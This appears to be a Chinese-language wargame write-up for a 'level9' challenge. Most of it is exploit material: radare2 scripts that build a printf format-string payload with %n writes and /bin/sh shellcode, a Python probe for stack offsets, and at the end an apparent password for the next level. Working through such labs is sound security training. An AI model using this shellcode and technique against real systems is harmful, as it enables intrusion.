level9 存在 printf 格式化字符串漏洞的利用,其中可以使用 %n 修改内存地址。注意到该程序栈的位置固定,ebp 为 0xbffffc78,返回地址位于 ebp+4=0xbffffc7c,记其为 ra. 反汇编可知,buf 在 ebp-0x418=0xbffff860,栈顶在 ebp-0x428,我们先用3个%02hhx消耗掉 buf 之前的 3 个参数,然后填写 ra 至 ra+4 使得 %n 可以写 4 个字节至 ra. 于是利用串如下: ,,,,shellcode,%02hhx,%02hhx,%02hhx,...%n...%n...%n...%n... shellcode 的位置为 buf+16=0xbffff870. 往 ra, ra+1, ra+2 处写入 0x70, 0xf8, 0xff,往 ra+3 写入 0x1bf 即可使返回地址指向 buf. [0x00000000]> wxs 7cfcffbf [0x00000004]> wxs 7dfcffbf [0x00000008]> wxs 7efcffbf [0x0000000c]> wxs 7ffcffbf [0x00000010]> wxs 31c004c9cd8089c389c189c231c004d0cd8031c0040bbb1f43583081f33030303053682f62696e89e331c931d2cd80 [0x0000003f]> w %02hhx%02hhx%02hhx [0x0000003f]> s +18 [0x00000051]> 43 wxs 20 [0x0000007c]> w %n [0x0000007c]> s +2 [0x0000007e]> 136 wxs 20 [0x00000106]> w %n [0x00000106]> s +2 [0x00000108]> 7 wxs 20 [0x0000010f]> w %n [0x0000010f]> s +2 [0x00000111]> 192 wxs 20 [0x000001d1]> w %n [0x000001d1]> wtf /tmp/exp_.bin 0x1d3 @ 0 [0x000001d3]> q 测试后发现失败,原因是 argv[1] 变长后 ebp 位置发生改变。注意到 argv[1] 和 buf 至多 1k 字节,ebp 和 ebp-0x418-4 仍为 0xbffffxxx,可以让 argv[1] 长度不变,只调整相应数值。 用调试器可以看出,在这个 argv[1] 长度下,ra=0xbffffaac,shellcode 位置为 ra-4-0x418+16=0xbffff6a0. 调整 radare2 脚本: wxs acfaffbf wxs adfaffbf wxs aefaffbf wxs affaffbf wxs 31c004c9cd8089c389c189c231c004d0cd8031c0040bbb1f43583081f33030303053682f62696e89e331c931d2cd80 w %02hhx%02hhx%02hhx s +18 # now 0x45 bytes will be printed # 0xa0 - 0x45 = 91 91 wxs 41 w %n s +2 # 0xf6 - 0xa0 = 86 86 wxs 41 w %n s +2 # 0xff - 0xf6 = 9 9 wxs 41 w %n s +2 # 0x1bf - 0xff = 192 192 wxs 41 w %n wtf /tmp/exp_.bin 0x1d3 @ 0 测试后发现 gdb 可以 exec 命令,但是直接运行还是不行。 考虑到在程序调用 strncpy 时,argv[1] 的地址已经在栈中,我们可以尝试找到 argv[1] 和 ebp 的关系。用以下脚本可以检查 pad 的地址: import os start = 0 while start < 0x1000: lo = start & 0xff hi = (start >> 8) & 0xff hi = hi + 0xf0 if lo != 0 and hi != 0: s = chr(lo) + chr(hi) + b"\xff\xbf_%p_%x_%x_%n%263$x_000" print(start) os.system(b"/levels/level09 '" + s + "'") print("") start = start+4 测得 start=3196 时 pad 的值被修改,并且 argv[1]=0xbffffe41. 即 argv[1]=0xbffffe41 时 ebp-0xc=0xbffffc7c, ebp=0xbffffc88. 用 gdb 可以看出,argv[1]&(-16) 和 ebp 的距离为一个固定的值。在这里,这个固定的值为 0xbffffe40-0xbffffc88=440. 我们重新用上述 radare2 脚本,把第一个 %02hhx 改为 %p,查看 argv[1] 的值 0xbffffc94,定位出 ebp=0xbffffe48,再调整 shellcode 地址,终于过关。 $ cat /tmp/exp.txt wxs dcfaffbf wxs ddfaffbf wxs defaffbf wxs dffaffbf wxs 31c004c9cd8089c389c189c231c004d0cd8031c0040bbb1f43583081f33030303053682f62696e89e331c931d2cd80 w %p%02hhx%02hhx s +14 # now 0x4d bytes will be printed # we need the address 0xbffff6d0 # 0xd0 - 0x4d = 147 131 wxs 41 w %n s +2 # 0xf6 - 0xd0 = 22 38 wxs 41 w %n s +2 # 0xff - 0xf6 = 9 9 wxs 41 w %n s +2 # 0x1bf - 0xff = 192 192 wxs 41 w %n wtf /tmp/exp_.bin 0x1c7 @ 0 level10 UT3ROlnUqI0R2nJA